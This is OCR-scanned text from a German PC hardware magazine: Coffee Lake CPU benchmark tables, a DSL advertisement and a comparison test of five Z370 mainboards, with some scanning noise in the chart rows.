4,8/4,0 GHz, DDR4-3200/CL16, SR E49 157,5 (+16 96) 
4,8/4,0 GHz, DDR4-2666/CL16, SR 63% 141,9 (+5 96) 
4,0/4,0 GHz, DDR4-4000/CL19, SR ast 151,4 (+12 %) 
4,0/4,0 GHz, DDR4-3200/CL16, SR Eae 148,1 (+9 %) 
4,0/4,0 GHz, DDRA-2666/CL16, SR RB 135,4 (Basis) 


15-8600К, 1.280 x 720, max. Details (kein Post-Processing/AO/AA/AF) 


4,8/4,8 GHz, DDR4-4000/CL19, SR ae! 155,3 (+23 96) 
4,8/4,8 GHz, DDR4-2666/CL16, DR ЖЇЗ! E 144, (+15 %) 
4,8/4,8 GHz, DDR4-2666/CL16, SR pagi 135,7 (+8 96) 
4,8/4,0 GHz, DDR4-4000/CL19, SR ast 150,4 (+19 96) 
4,8/4,0 GHz, DDR4-2666/CL16, DR Es 141,6 (412 %) 
4,8/4,0 GHz, DDR4-2666/CL16, SR men 133,3 (+6 96) 
4,0/4,0 GHz, DDR4-4000/CL19, SR 3 140,6 (+12 %) 
4,0/4,0 GHz, DDR4-2666/CL16, DR Eas 132,8 (+5 90) 
4,0/4,0 GHz, DDRA-2666/CL16, SR aoi" 126,0 (Basis) 


17-8700К, 1.280 x 720, max. Details (kein Post-Proc./AO/AA/AF), 2 Threads x264 


4,8/4,8 GHz, DDR4-4000/CL19, SR 63318 142,4 (+21 90) 

4,8/4,8 GHz, DDR4-3200/CL16, SR 39r 139,8 (4-19 96) 

4,8/4,8 GHz, DDR4-2666/CL16, SR E 125,0 (+6 96) 

4,8/4,0 GHz, DDR4-4000/CL19, SR Əli 139,6 (+19 96) 

4,8/4,0 GHz, DDR4-3200/CL16, SR ag" 137,4 (4-17 96) 

4,8/4,0 GHz, DDR4-2666/CL16, SR Es 124,1 (+6 90) 

4,0/4,0 GHz, DDR4-4000/CL19, SR Ep Es 132,9 (+13 %) 

4,0/4,0 GHz, DDR4-3200/CL16, SR 131,1 (+12 96) 

4,0/4,0 GHz, DDR4-2666/CL16, SR E09. 117,5 (Basis) 
15-8600К, 1.280 x 720, max. Details (kein Post-Proc./AO/AA/AF), 2 Threads x264 


4,8/4,8 GHz, DDR4-4000/CL19, SR E906: ES 119,3 (+24 %) 
4,8/4,8 GHz, DDR4-2666/CL16, DR [Xoops 111,7 (+16 96) 
4,8/4,8 GHz, DDR4-2666/CL16, SR gs 103,8 (+8 96) 
4,8/4,0 GHz, DDR4-4000/CL19, SR Eo 116,1 (+21 96) 
4,8/4,0 GHz, DDR4-2666/CL16, DR [gg ШЕ 110,0 (+14 96) 
4,8/4,0 GHz, DDR4-2666/CL16, SR gas 101,7 (46 96) 
4,0/4,0 GHz, DDR4-4000/CL19, SR ES 107,9 (4-12 96) 
4,0/4,0 GHz, DDR4-2666/CL16, DR Egan 101,0 (+5 96) 
4,0/4,0 GHz, DDR4-2666/CL16, SR DE 96,2 (Basis) 


8700K, 720p, max. Details (kein Post-Proc./AO/AA/AF), je 2 Threads x264/Memtest 


4,8/4,8 GHz, DDR4-4000/CL19, SR Eg 104,7 (+24 %) 
4,8/4,8 GHz, DDR4-3200/CL16, SR gg 99,5 (+18 90) 
4,8/4,8 GHz, DDR4-2666/CL16, SR sn 86,6 (+3 96) 
4,8/4,0 GHz, DDR4-4000/CL19, SR gg ШШ 101,7 (+21 96) 
4,8/4,0 GHz, DDR4-3200/CL16, SR gg 98,8 (4-17 96) 
4,8/4,0 GHz, DDR4-2666/CL16, SR sh 85,6 (+2 96) 
4,0/4,0 GHz, DDR4-4000/CL19, SR gp" 100,8 (4-20 96) 
4,0/4,0 GHz, DDR4-3200/CL16, SR gn 97,2 (+15 96) 
4,0/4,0 GHz, DDR4-2666/CL16, SR Een 84,3 (Basis) 


8600K, 720p, max. Details (kein Post-Proc./AO/AA/AF), je 2 Threads x264/Memtest 


4,8/4,8 GHz, DDR4-4000/CL19, SR sg 75,3 (+29 %) 
4,8/4,8 GHz, DDR4-2666/CL16, DR sss 69,3 (+18 96) 
4,8/4,8 GHz, DDR4-2666/CL16, SR ES 63,4 (+8 96) 
4,8/4,0 GHz, DDR4-4000/CL19, SR sg 73,8 (+26 96) 
4,8/4,0 GHz, DDR4-2666/CL16, DR Esse 68,4 (+17 96) 
4,8/4,0 GHz, DDR4-2666/CL16, SR EZB] 60,7 (+4 96) 
4,0/4,0 GHz, DDR4-4000/CL19, SR ЕСС 72,8 (+24 %) 
4,0/4,0 GHz, DDR4-2666/CL16, DR ШШЕН 65,7 (+12 96) 
4,0/4,0 GHz, DDRA-2666/CL16, SR agr 58,5 (Basis) 


System: Asus Maximus X Hero (UEFI 0601), 2 x 8 GiB (DDR4-2666/16-16-16-36 1T, Miss e F. 
DDR4-3200/16-18-18-36 1T, DDR4-4000/19-21-21-41 2T), MSI GTX 1080 Ti Gaming X ps 


11G; Win 10, Gef. 385.41 WHQL (HQ) Bemerkungen: Angegeben sind Kern-/Cache-Takt. > Besser 


System: Asus Maximus X Hero (UEFI 0601), 2 x 8 GiB (DDR4-2666/16-16-16-36 1T, Mier 
DDR4-3200/16-18-18-36 1T, DDR4-4000/19-21-21-41 2T), MSI GTX 1080 Ti Gaming X ps 


11G; Win 10, Gef. 385.41 WHQL (HQ) Bemerkungen: Angegeben sind Kern-/Cache-Takt. > Besser 
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Sparpreis für 12 Monate, 
ah 4 danach 24,99 Є/Мопаї 


Der 181 HomeServer Speed mit 
neuester WLAN-Technologie für 
bestes Internet im ganzen Haus! 


( 02602/ 96 90 


* 1&1 DSL Basic für 9,99 €/Monat für 12 Monate, danach 24,99 €/Monat. Inklusive Telefon-Flat ins dt. Festnetz, Internet ohne Zeitlimit (monatlich 100 GB bis zu 16 MBit/s, danach bis 1 d 1 d 
zu 1 MBit/s) und 1&1 DSL-Modem für 0,— €. Oder auf Wunsch auch mit Internet-Flat und leistungsstarkem 181 HomeServer Speed für 4,99 €/Monat mehr. Hardware-Versand 9,90 €. u n = e 
24 Monate Vertragslaufzeit. 100,— € Startguthaben zur Verrechnung ab dem 4. Vertragsmonat bei Wechsel des DSL-Anbieters und Mitnahme der Rufnummer. Preise inkl. MwSt. 

1&1 Telecom GmbH, Elgendorfer Straße 57, 56410 Montabaur 


SPECIAL | Coffee Lake: Z370-Mainboards 


Coffee-Lake-Platinen 


Intels neue Prozessoren nutzen zwar weiterhin 
das mechanische Sockel-1151-Format, benóti- 


gen aber trotzdem neue Mainboards. 


Wir haben fünf getestet. 
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offee Lake bringt Schwung in 

den CPU-Markt, ohne passen- 
des Umfeld ist aber der beste Pro- 
zessor wertlos. Kühlerseitig gibt 
es hier wenig zu beachten - alle 
Sockel-1151-Lösungen passen, denn 
am mechanischen Aufbau hat Intel 
nichts geändert. Mangels elektri- 
scher respektive Firmware-Kompa- 
tibilität (siehe Seite 21) braucht es 
für die Core-i-8000-Modelle aber 
neue Mainboards. Eine schon vor- 
handene beziehungsweise günstig 
im Abverkauf erhältliche Platine 
aus der 100er- oder 200er-Generati- 
on ist unbrauchbar. Statt dessen hat 
Intel zusammen mit den CPUs den 
neuen I/O-Hub Z370 vorgestellt. 
(Im IntelJargon „РСН“, manchmal 
auch „Chipsatz“ genannt, obwohl 
es nur ein einzelner Chip ist.) 


Neu und doch (ver)alt(et)? 

Neu ist am Z370 allerdings nur die 
Bezeichnung. Intel schweigt sich 
über Codenamen zwar beharrlich 
aus, unter der neuen Haube steckt 
aber sehr wahrscheinlich das be- 
reits als B250/H270/Z270/X299 
vermarktete Union-Point-Silizium. 
Der echte Nachfolger (bislang nur 


als „Cannonlake PCH“ bekannt) 
wird erst 2018 fertiggestellt und 
soll dann als H110-Nachfolger so- 
wie als B360, H370 und Z390 er- 
scheinen. (Vorsicht: AMDs ,B350* 
hat mit Intel-Plattformen nichts zu 
tun.) Für die Z370-Generation be- 
deutet dies: Trotz neuen Namens 
hat der PCH weiterhin keine inte- 
grierten WLAN- oder USB-3.1-10 
GBit/s-Controller, nur „USB 3.1 
Сеп1 5 Gbps“ (besser bekannt als 
„USB 3.0“) wird unterstützt. Somit 
entspricht die Ausstattung 1:1 dem 
alten Z270, welcher ohnehin einen 
der luxuriösten I/O-Hubs darstellt. 


Für Endanwender folgen aus die- 
sem Rebrand keine Nachteile, 
schon seit der Skylake-Generation 
geht es bei Intel-PCHs weniger 
um USB-Geschwindigkeiten und 
vielmehr um die sogenannten 
HSIO-Ports. Diese kónnen mehr- 
heitlich als PCI-Express-3.0-Lane 
dienen, sind aber teilweise doppelt 
mit SATA- oder USB-(3.0-)Funkti- 
onen belegt. So ermóglicht nur 
der Verzicht auf die ,bis zu* sechs 
SATA-Ports bei Z270 und Z370 die 
maximale Anzahl von 24 PCI-Ex- 


MSI Z370 Godlike Gaming 


Gottgleiches Spielvergnügen ist kein bescheidenes Versprechen - aber ein 450-Euro-Mainboard soll auch klotzen und nicht kleckern. Mit Ausnahme von 


press-Lanes (zuzüglich 16 von der 
CPU für Grafikkarten). Typischer 
sind Konfigurationen mit 6x SATA 
und 18x PCI-Express und an dieser 
Gesamtausstattung mit 24 flexiblen 
HSIOs soll auch der Z390 nichts àn- 
dern. Da alle Intel-PCHs zusätzlich 
maximal sechs reine USB-3-Ports 
bieten (bislang 5, nächstes Jahr 10 
GBit/s) widmen die Mainboard- 
Herstellern schon heute einige 
HSIOs für USB, zum Teil über PCI- 
Express-angebundene-USB-3.1-Zu- 
satzcontroller. So verfügen alle hier 
vorgestellten Mainboards auch 
ohne USB-3.1-PCH über 10-GBit/s- 
USB-Anschlüsse. Ein Z390 könnte 
auf externe Controller verzichten 
und die Ports direkt bereitstellen, 
die USB-PCI-E-Balance hängt aber 
schon beim Z370 nur von der Pro- 
duktpolitik des Herstellers ab. 


Ähnliches gilt für die kommende 
WLAN-Integration: Leistungsstarke 
Hochfrequenz-Sendetechnik hat in 
I/O-Hubs keinen Platz, und muss 
extern mit entsprechender Ab- 
schirmung montiert werden. Trotz 
interner Controller-Logik werden 
Z390-Mainboards also weiterhin 


externe Chips benötigen und somit 
ebensowenig über „kostenloses“ 
WLAN verfügen wie Z270/Z370- 
Platinen, die einen kompletten 
WLAN-Controller verbauen. 


Obwohl der Z370-PCH bereits 
zum Erscheinen angezählt ist, gibt 
es aus PCGH-Sicht deswegen kei- 
nen spezifischen Grund auf den 
Z390 zu warten. Abseits der allge- 
meinen Weiterentwicklung von 
Platinen-Designs dürfte die „echte“ 
Coffee-Lake-Mainboard-Generation 
lediglich ein paar Cent an Onboard- 
Zusatzchips einsparen. 


(Werks-)Übertaktung 

Anders sieht dies bei den kleineren 
PCHs aus. Wer auf ein B- oder H- 
Modell spekuliert, muss entweder 
auf das erste Quartal 2018 warten 
- oder sich überlegen doch min- 
destens 110 Euro in ein Z370-Main- 
board zu investieren, auch wenn 
er die Ausstattung des Topmodells 
ebensowenig braucht, wie die dar- 
an gekoppelte Tauglichkeit für SLI 
und Übertaktung. Tatsächlich bie- 
ten unsere Testkandidaten mehr 
Übertaktung, als man sich wünscht 


10-GBit-LAN und Thunderbolt bietet MSIs Flaggschiff daher quasi alles, was man sich wünschen kann - und das in doppelter (Audio), dreifacher (LAN), vier- 
facher (mechanische PCI-E-x16-Slots) oder fünffacher (M.2-Steckplátze mit Zusatzkarte) Ausführung. Leider funktioniert nur ein Teil davon gleichzeitig. 


Vierfach Killer, Dual Audio 
Auf dem Godlike Gaming befinden sich 
nicht nur vier Killer-LAN-/-WLAN-Control- 
ler, die bei laufendem Rechner als Router, 
Access-Point oder managed Switch dienen 
können, sondern auch eine komplette 
zweite Audiosektion mit 6,3-mm-Klin- 
ke-Anschluss für High-End-Kopfhóhrer. 


Drei plus zwei M.2 

Wem drei onboard-M.2-Steckplätze nicht 
reichen, der kann mit einer beiliegenden 
Adapterkarte zwei weitere über die CPU 
anbinden. Der Nutzen bliebt auf einer 
Plattform mit nur 16 CPU-Lanes aber 
fraglich, denn diese sollten eigentlich für 
die Grafikkarte reserviert werden. 


Anschlüsse und Ressourcen-Teilung ohne Ende 

Unzählige Anschlüsse und Zusatzcontroller, aber das gleiche I/O-Budget wie bei den anderen 

Testteilnehmern erfordern Kompromisse. So teilen sich die oberen drei PEGs 16 Lanes von der 
CPU (x16/x0/x0), der vierte seine Anbindung mit einem M.2, dem x1-Slot sowie dem dritten 
LAN-Controller und der mittlere M.2-Steckplatz mit dem U.2-Anschluss und zwei SATA-Ports. 
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Gigabyte Aorus Z370 Gaming 7 


Mainboards aus dem Hause Gigabyte bescheinigen wir immer wieder einige wenige Prozent Rückstand bei der Leistungsnote, was in der Praxis nicht wirk- 
lich spürbar ist, aber Platzierungen kostet. Davor ist auch das 2370 Gaming 7 nicht gefeiht, aber es schlägt die Konkurrenz an anderer Stelle deutlich: Als 
einziger Testteilnehmer bietet Gigabyte Standardeinstellungen die unter Volllast überhitzungssicher sind. Und das ohne Takt- oder Performance-Abstriche. 


Spannungswandlerlüfter 
Aktive Mainboard-Kühlung erlebt ein Re- 
vival und auch hinter der I/O-Blende des 
Gaming 7 finden wir einen auf die Span- 
nungswandler gerichteten, demontier- 
baren 25-mm-Lüfter. In PCGH-Messungen 
láuft er aber nie an, die passive Kühlung 
gehört sogar zu den besten im Testfeld. 
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Sound? Selbermachen! 

Alle Testteilnehmer verwenden einheitlich 
Realteks ALC1220-Audio-Codec oder ein 
Derivat davon. Genau wie MSIs Godlike 
Gaming verlàsst sich Gigabyte beim Ga- 
ming 7 aber nicht auf dessen integrierte 
Analog-Sektion, sondern verbaut einen 
Sabre-DAC nebst externem Opp-Amp. 


Zahlreiche Anschlüsse, vertretbares Sharing 
Mit Dual-LAN, Triple-M.2 und reichlich USB überfordert auch Gigabyte die Ressourcen des 
7370, geht aber sinnvoll mit der Situation um: Der dritte M.2-Slot arbeitet alternativ zum PCI- 
E-x4-Slot, sodass die Lanes auch bei Einsatz einer zweiten Triple-Slot-Karte genutzt werden 
können und der zweite M.2 bedient sich bei den zunehmend weniger benötigten SATA-Ports. 


- womit wir bei unserem eigent- 
lichen Test wären. Bereits unser 
X299-Vergleich. (PCGH 09/2017) 
litt unter uneindeutigen Intel-Spe- 
zifikationen und bei Coffee Lake 
hat die Informationsverweigerung 
sogar noch zugenommen. Coffee- 
Lake-CPUs erreichen in Anwen- 
dungen mit hochoptimiertem AVX- 
Code, beispielsweise in unserem 
Prime95-Volllastszenario, erneut 
einen enormen Daten- aber auch 
Energieumsatz. Die spezifizierte 
maximale Wärmeabgabe von 95 
Watt wird hierbei schnell über- 
schritten, wenn die CPUs den All- 
Core-Turbo von 4,3 GHz zu halten 
versuchen. Intel gibt aber keine 
Angaben zum Soll-Kerntakt bei ho- 
her AVX-Belastung heraus, so dass 
die Mainboard-Hersteller nach Gut- 
dünken und teilweise je nach UEFI- 
Version unterschiedlich reagieren. 


Asus‘ Standard-Einstellungen er- 
laubten in unserem Test-UEFI 0502 
beispielsweise einen maximalen 
AllCore-AVX-Takt von 4,62 GHz 
bei einer Leistungsaufnahme der 
CPU laut internem Sensor (CPU Pa- 
ckage Power) von satten 203 Watt. 
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Vermutlich wären auch 4,7 GHz bei 
noch höherem Verbrauch möglich 
gewesen, hätte eine CPU-Tempera- 
tur von 99 °C das Werks-OC nicht 
gestoppt. Mit dem kurz vor Redak- 
tionsschluss nachgeschobenen 
UEFI 0601 korrigierte Asus dann 
auf 4,3 GHz und 170 W, was in etwa 
dem Niveau von Asrock und MSI 
entspricht. Gigabyte, im X299-Ver- 
gleichstest noch viel gescholten, 
begnügt sich dagegen mit 117 W 
(und ebenfalls 4,3 GHz). Das liegt 
weiterhin über der Intel-TDP liegt, 
lässt aber zumindest keine akuten 
Kühlungsprobleme erwarten. 


Änderungen am Testsystem 
Für Mainboard-Tests sind derart 
unterschiedliche CPU-Parameter 
nicht geeignet. Die Rechenleistung 
in Benchmarks bleibt zwar unbe- 
einflusst, da reiner AVX-Code in 
der Praxis nicht vorkommt. Tem- 
peratur- und Stromverbrauchsmes- 
sungen reagieren aber extrem auf 
den Energieumsatz der CPU und 
dominieren so die Leistungsnote 
wegen einer einzelnen Entwick- 
ler-Entscheidung, die nichts über 
das physische Board aussagt und 


mit dem nächsten UEFI-Update 
ins Gegenteil verkehrt werden 
kann. Um dennoch Vergleiche auf 
Augenhöhe zu bietet, wird PCGH 
Werkseinstellungen ab sofort nur 
noch prüfen und Verfehlungen in 
der Eigenschaften-Note ankreiden. 
Leistungs- und Temperaturmessun- 
gen führen wir dagegen in diesem 
und allen kommenden Mainboard- 
Vergleichstest mit einem manuell 
im UEFI aktivierten Langzeit-Pow- 
erlimit gemäß der CPU-TDP-Spezifi- 
kationen durch, in diesem Fall also 
einheitliche 95 Watt und resultie- 
rende 3,6 GHz für alle Kandidaten. 


Bei dieser Gelegenheit haben wir 
auch den CPU-Kühler aktualisiert. 
An Stelle des alt ehrwürdigen EKL 
Brocken Eco tritt jetzt ein Matter- 
horn Pure vom gleichen Herstel- 
ler, die Lüfterdrehzahl wurde nach 
930 U/min (altes Testverfahren) 
respektive 1.440 U/Min (X299- 
Vergleich) auf 1.300 U/min (ent- 
spricht circa 1,0 Sone) eingeregelt. 
Kontrollmessungen und einer ers- 
ten Ankündigung weiterer Matter- 
horn-Versionen zu Folge sind wir 
zuversichtlich, dieses Setup für alle 


kommenden Mainboard-Vergleiche 
nutzen zu können - einschließlich 
AMDs TRA Dies gilt auch für das 
auf den neuesten Stand gebrachte 
Wertungssystem, nur die Maßstäbe 
der Leistungsnote sind natürlich er- 
neut an das Potenzial der verwen- 
deten i7-8700K-Test-CPU und des 
zugehörigen RAMs (gemäß Spezifi- 
kation DDR4-2666) angepasst. 


Plastik: Cool oder kühl? 

Hier und jetzt führt der gesteigerte 
Luftzug im CPU-Umfeld gegenüber 
bisherigen Sockel-1151-Vergleichen 
zu circa 5 Kelvin niedrigeren Span- 
nungswandlertemperaturen. Mit 
maximal 68 °C, oft unter 60 °C (nor- 
miert auf 20 °C Umgebungstempe- 
ratur) geben sich die Testkandi- 
daten aber ohnehin vorbildlich. 
Übertaktungs-Beschränkungen 
durch überhitzte Spannungswand- 
ler, wie wir sie beim Test der strom- 
hungrigeren AM4- oder gar Sockel- 
2066-Plattformen beobachteten, 
sind nicht zu befürchten. 


Dies überrascht positiv, denn alle 


Testteilnehmer platzieren ausla- 
dende Plastikverkleidungen im 
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Asrock Z370 Extreme4 


Unser günstigster Testteilnehmer tritt in die FuBstapfen sehr beliebter Z170- und Z270-Mainboards — Asrocks Extreme4-Modelle verzichten auf Optik-Spie- 
lereien, sind aber für ein gutes Preis-Leistungsverhàltnis, ein durchdachtes Layout und eine vollkommen ausreichende Ausstattung bekannt. So bietet auch 
die Z370-Ausgabe mehr als genug USB-, M.2- und PCI-E-Möglichkeiten und alle relevanten UEFI-Optionen einschließlich einer guten Lüftersteuerung. 


WLAN-Upgrade möglich 
International bietet Asrock das 7370 
Extreme4 in einer AC-Variante mit 
WLAN-Modul an. Löblich: Auch im 
V/O-Bereich der normalen Version sind 
der zugehörige M.2-e-Key-Slot und die 
Antennenhalterung verbaut, so kann man 
WLAN bei Bedarf selbst nachrüsten. 


Extra-SATA und USB 3.0 

Als einziges Board im Test verfügt das 
2370 Extreme4 über einen SATA-Zusatz- 
controller — so bleiben mindestens vier 
SATA-Ports nutzbar, auch wenn alle M.2- 
Slots belegt sind. Verzichten muss man 
aber auf internes USB 3.1, der entspre- 
chende Header läuft nur mit 5.0 GBit/s. 


Alle Ressourcen optimal zugänglich gemacht 
Sharingfreie PCI-E-Slots und zahlreiche „veraltete” Schnittstellen sind eine Spezialität von 
Asrock. So finden sich auf dem 7370 Extreme4 sechs USB-2.0- und ein COM-Port — da die 
Controller sowieso in PCH und Super-I/O enthalten sind, entstehen ebensowenig Mehrkosten 
wie durch ein intelligentes Layout, dass möglichst wenig Slots unter GPU-Kühlern versteckt. 


Bereich der Spannungswandler. 
MSI verkleidet beim Z370 Godlike 
Gaming sogar die komplette Küh- 
ler-Oberseite mit Kunststoff und 
schränkt so die Wärmeabfuhr ein 
- die verbleibende Kühlleistung ist 
aber dennoch gut. Auch Gigabytes 
7370 Gaming 7 ließ mit einem 
Mini-Lüfter neben den Spannungs- 
wandlern Schlimmes befürchten, 
tatsächlich ist das Kühlkonzept 
aber semi-passiv ausgelegt und in 
unserem Test lief die über einen 
normalen 4-Pin-Lüfteranschluss ge- 
regelte, theoretisch auch abnehm- 
bare Aktivkühlung nie an. 


Ärgerlich sind die Plastikverklei- 
dungen somit nur aus optischen 
Gründen, wobei sie sich bei As- 
rock, Asus, Gigabyte und dem 
Z370 Gaming Pro Carbon AC auch 
schlicht demontieren lassen, wenn 
man auf etwaige Garantieleistun- 
gen und auf die integrierte RGB-Be- 
leuchtung verzichtet. Lichtquellen 
gibt es auf den Testkandidaten oh- 
nehin reichlich. Selbst Asrock bie- 
tet einen leuchtenden PCH-Kühler 
und eine beleuchtete I/O-Blende, 
andere Hersteller ergänzen zusätz- 
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liche RGB-LEDs im Audio-Bereich, 
an diversen Slots, der rechten Main- 
board-Kante und beziehungsweise 
oder auf der Rückseite. Header 
für RGB-LED-Streifen gehören für 
„Gaming“-Platinen ohnehin zum 
guten Ton, neu ist der Trend zu 
adressierbaren Varianten. Entspre- 
chende Lüfter und Leuchtstreifen 
erlauben es, jedes Lämpchen mit 
einer anderen Farbe und Intensität 
anzusteuern, um komplexe Bewe- 
gungseffekte oder sogar informati- 
ve Anzeigen zu realisieren. Leider 
finden sich auf unseren fünf Test- 
kandidaten drei verschiedene For- 
mate für die neue Technik - Käu- 
fern von MSIs Luxus-Flaggschiff 
erspart der beiliegende 45-cm- 
Phanteks-,Rainbow“-Streifen die 
Suche nach kompatibler Hardware. 


PCI-Express-3.0-CPU-Lanes 

Wichtiger als Optikspielereien sind 
harte Fakten und da geht es bei 
Mainboards hauptsächlich um die 
Anschlussfreudigkeit. Geschlossen 
präsentiert sich das Feld bei den 
für Grafikkarten geeigneten CPU- 
Lanes: Ein x16 Slot in ATX-Slot- 
Position 2 (gezählt von oben), der 


für SLI-Betrieb acht Lanes an einen 
zweiten mechanischen x16-Steck- 
platz in Position 5 abgibt findet 
sich auf vier von fünf Testteilneh- 
mern. Diese Konfiguration lässt mit 
zwei Triple-Slot-Grafikkarten etwas 


wenig Platz zum Luftansaugen, ist 
sonst aber optimal und vermeidet 
Platzprobleme mit CPU-Kühlern. 


Die Ausnahme von der Regel ist 
MSIs Z370 Godlike Gaming, wel- 


Stromverbrauch: Sockel-1151-typisch 


Rechner aus: Soft-off inklusive 80-Plus-Gold-Netzteil 


MSI 7370 Gaming Pro Carbon AC ШШШ 0,9 (-75 %) 
Gigabyte 7370 Gaming 7 KR 1, 4 (-61 %) 
Asus Maximus X Hero Eu 1,9 (-47 %) 
Asrock 7370 Extreme4 Eu 2,4 (-33 96) 
MSI 2370 Godlike Gaming EXE, (Basis) 
Leerlauf: Windows-10-Desktop inklusive 80-Plus-Gold-Netzteil 


MSI 2370 Gaming Pro Carbon AC Eu 32,4 (-23 96) 
Asus Maximus X Него = = 38,3 (-9 90) 
Gigabyte 2370 Gaming 7 Eu 38,8 (-8 90) 
Asrock 7370 Extreme EX 41,8 (-1 96) 
MSI 2370 Godlike Gaming =m 42,3 (Basis) 
Volllast: Witcher 3 + Prime 95 (6 Threads) inklusive 80-Plus-Gold-Netzteil 


Asus Maximus X Hero =a 307 (-3 96) 
Asrock 7370 Extreme4 EX (-3 96) 
MSI 2370 Godlike Gaming EX 318 (Basis) 
MSI 2370 Gaming Pro Carbon AC Es 330 (+4 96) 
Gigabyte 2370 Gaming 7 == 331 (+4 96) 


System: Core i7-8700K, Asus Strix GTX 1080 110% Power-, 91°C Temp.-Target; 2x 8 
GiB DDR4-2666 Bemerkungen: Die zum Teil großen Verbrauchsunterschiede in ausge- 
schaltetem oder kaum belasteten Zustand zeugen von Optimierungspotenzial. 


Watt 
< Besser 
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Asus Republic of Gamers Maximus X Hero 


Die Faustformel für Asus’ R.O.G.-Basismodelle lautet: Man erweitere eine gute Oberklasse-Platine um bessere Kühlung, ein neutrales Design und Spezial- 
funktionen für Tweaker. So bietet das Maximus X Hero diverse Onboard-Buttons, Montagepunkte für Zusatzlüfter und eine Lüftersteuerung mit Anschlüssen 
für externe Temperatursensoren nebst Wasserkühlungs-Durchflussmesser. Bei USB, LAN & Co verzichtet man dagegen trotz hohen Preises auf Extravaganzen. 


Fest montiertes I/O-Shield 
Mainboards lassen sich nicht nur elektro- 
nisch verbessern. Asus erspart einem ab 
sofort bei allen R.O.G.-Modellen den Är- 
ger mit losen I/O-Blenden und klammert 
diese an den Anschlüssen fest. Weniger 
schón: Ein M.2-Slot für WLAN-Module 
wird nur bei der „AC"-Version verlötet. 


Nutzen statt Deko 

Obwohl das letzte Asus-Mainboard mit 
Northbridge zu Core-2-Zeiten erschien, 
tragen viele Vertreter der R.O.G.-Reihe ein 
Zierelement mit Logo zwischen CPU und 
PCI-E-Slots. Beim Maximus X Hero erhált 
dieses nun endlich eine Funktion und 
dient als M.2-Kühler. 


Vor- und Nachteile eines Übertakter-Schwerpunkte 

Auch wenn nur einzelne Modelle gezielt für Rekordjagden optimiert werden (z.B. Maximus X 
Apex) móchte Asus mit der R.O.G.-Serie vor allem Übertakter ansprechen. Diese freuen sich 
beim X Hero über mehr Platz für CPU-Kühler und sehr vielfáltige UEFI-Einstellungen. Dass 
CPUs auch ab Werk mit 80 Prozent Überlast betrieben werden, ist weniger schön. 


ches den ersten mechanischen 
x16 in ATX-Position 1 platziert. So 
haben auch die größten Grafikkar- 
ten mehr als genug Platz, für einige 
140-mm-CPU-Kühler wird es aber 
(zu) eng. Dass im Gegenzug ein 
dritter CPU-Slot seinen Platz in 
ATX-Position 3 findet, bringt da- 
gegen kaum Vorteile - gemeinsam 
laufen die drei Steckplätze nur mit 
x8/x4/x4 Lanes, PCGH rät aber 
vom x4-Betrieb für Grafikkarten 
ab. Auch Fans multipler x4-NVME- 
SSDs bietet MSI eine bessere Lö- 
sung in Form einer beiliegenden 
Adapterkarte, die zwei M.2-SSDs in 
einem x8-Slot erlaubt. Interessan- 
terweise kann diese Karte auch an 
ATX-Slot-Position 3 genutzt werden 
(x8/x8/x0), während Grafikkarten 
nur im Position-5-Slot acht Lanes 
erhalten (x8/x0/x8). Dies ist aber 
nur die Spitze der M.2-Komplexität. 


M.2, U.2, SATA, PCH-Lanes 

Unsere Testteilnehmer bieten ohne 
Adapter allesamt zwei oder sogar 
drei M.2-Steckplätze. Mangelnde 
Ressourcen und Intels SATA-PCI-E- 
HSIO-Doppelbelegung führen aber 
zu sogenanntem Lane-Sharing, das 
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heißt für volle M.2-Leistung muss 
oft ein anderer Anschluss dauer- 
haft deaktiviert werden. 


Davon nicht betroffen sind je ein 
M.2-Slot bei MSI, Gigabyte und 
Asus. Asrock hingegen lässt auch 
den ersten Steckplatz mit zwei SA- 
TA-Ports sharen: Verbaut man eine 
kompakte SSD werden zwei SATA- 
Anschlüsse deaktiviert. Da Asrock 
im Gegenzug aber einen SATA-Zu- 
satzcontroller und insgesamt acht 
SATA-Ports bietet, sind auch beim 
Z370 Extreme4 deren sechs zusätz- 
lich zu einer M.2-SSD verfügbar. 


Mit einer bei allen Kandidaten 
möglichen, zweiten M.2-PCI-E-3.0- 
x4-SSD sind dann durchgängig nur 
noch vier SATA-Ports aktiv. Ledig- 
lich das Maximus X Hero erlaubt al- 
ternativ auch eine Kombination aus 
SATA und x2-M.2-Betrieb, bei den 
Konkurrenten handelt es sich um 
eine entweder-oder-Entscheidung. 
MSIs Godlike Gaming ergänzt ein 
zweites „oder“ in Form eines (sel- 
ten benötigten) U.2-Anschlusses: 
Entweder der zweite M.2 oder der 
U.2 oder SATA Nummer fünf und 


sechs sind nutzbar, aber keine Mi- 
schung daraus. Beim dritten M.2 
wird es noch komplexer, denn er 
leiht sich vier Lanes vom vierten 
mechanischen х 16-Slot des Godlike 
Gaming, welcher elektrisch als x4 
ausgeführt ist. Dieses Viererbündel 
steht aber überhaupt erst zur Ver- 
fügung, wenn man den einzigen 
x1-Slot und den dritten LAN-Cont- 
roller deaktiviert. Möchte man die- 
se beiden nutzen, sind weder der 
x4- noch der dritte M.2-Steckplatz 
aktiv. Einfacher ist die Situation des 
dritten M.2 beim Z370 Gaming 7: Er 
teilt sich alle vier Lanes mit dem x4- 
Slot an ATX-Position 7. 


Einen solchen x4-Slot bieten auch 
die restlichen Testkandidaten, As- 
rock und MSIs Gaming Pro Carbon 
AC sogar sharing-frei. Asus hinge- 
gen deaktiviert einen x1-Slot, wenn 
volle x4-Geschwindigkeit gefordert 
wird. Ebenfalls eingeschränkt nutz- 
bar sind ein x 1-Slot bei Gigabyte, zu 
dessen Gunsten ein SATA-Port de- 
aktiviert werden muss, und einer 
auf dem Z370 Gaming Pro Carbon, 
der schlicht vom Kühler quasi jeder 
spieletauglichen Grafikkarte ver- 


deckt wird. Auf allen Testteilneh- 
mern außer dem Godlike Gaming 
gibt es aber noch zwei weitere, nor- 
maler Weise frei nutzbare x1-Slots 
- bei Asrock sogar insgesamt drei. 


Zusammengefasst ist die PCI-E-Situ- 
ation „komplex aber gut“: Die Teil- 
nehmer suggerieren zwar mehr, 
als sie simultan leisten können. Sie 
liefern aber immer mehr als Durch- 
schnittsanwender brauchen oder 
zum Beispiel AMDs AM4 bietet. 


USB & externe Anschlüsse 

Übersichtlicher ist die Peripherie- 
Situation. USB 3.1 ist Pflicht, vier 
externe 3.0-Ports ebenfalls und 
intern gibt es entweder vier wei- 
tere oder aber deren zwei und ei- 
nen WUSB-3.1-Front-Panel-Header, 
manchmal sogar beides. Im Falle 
des Asrock Z370 Exreme4 wird der 
Header aber direkt vom PCH, also 
nur mit USB 3.0 versorgt. Man ge- 
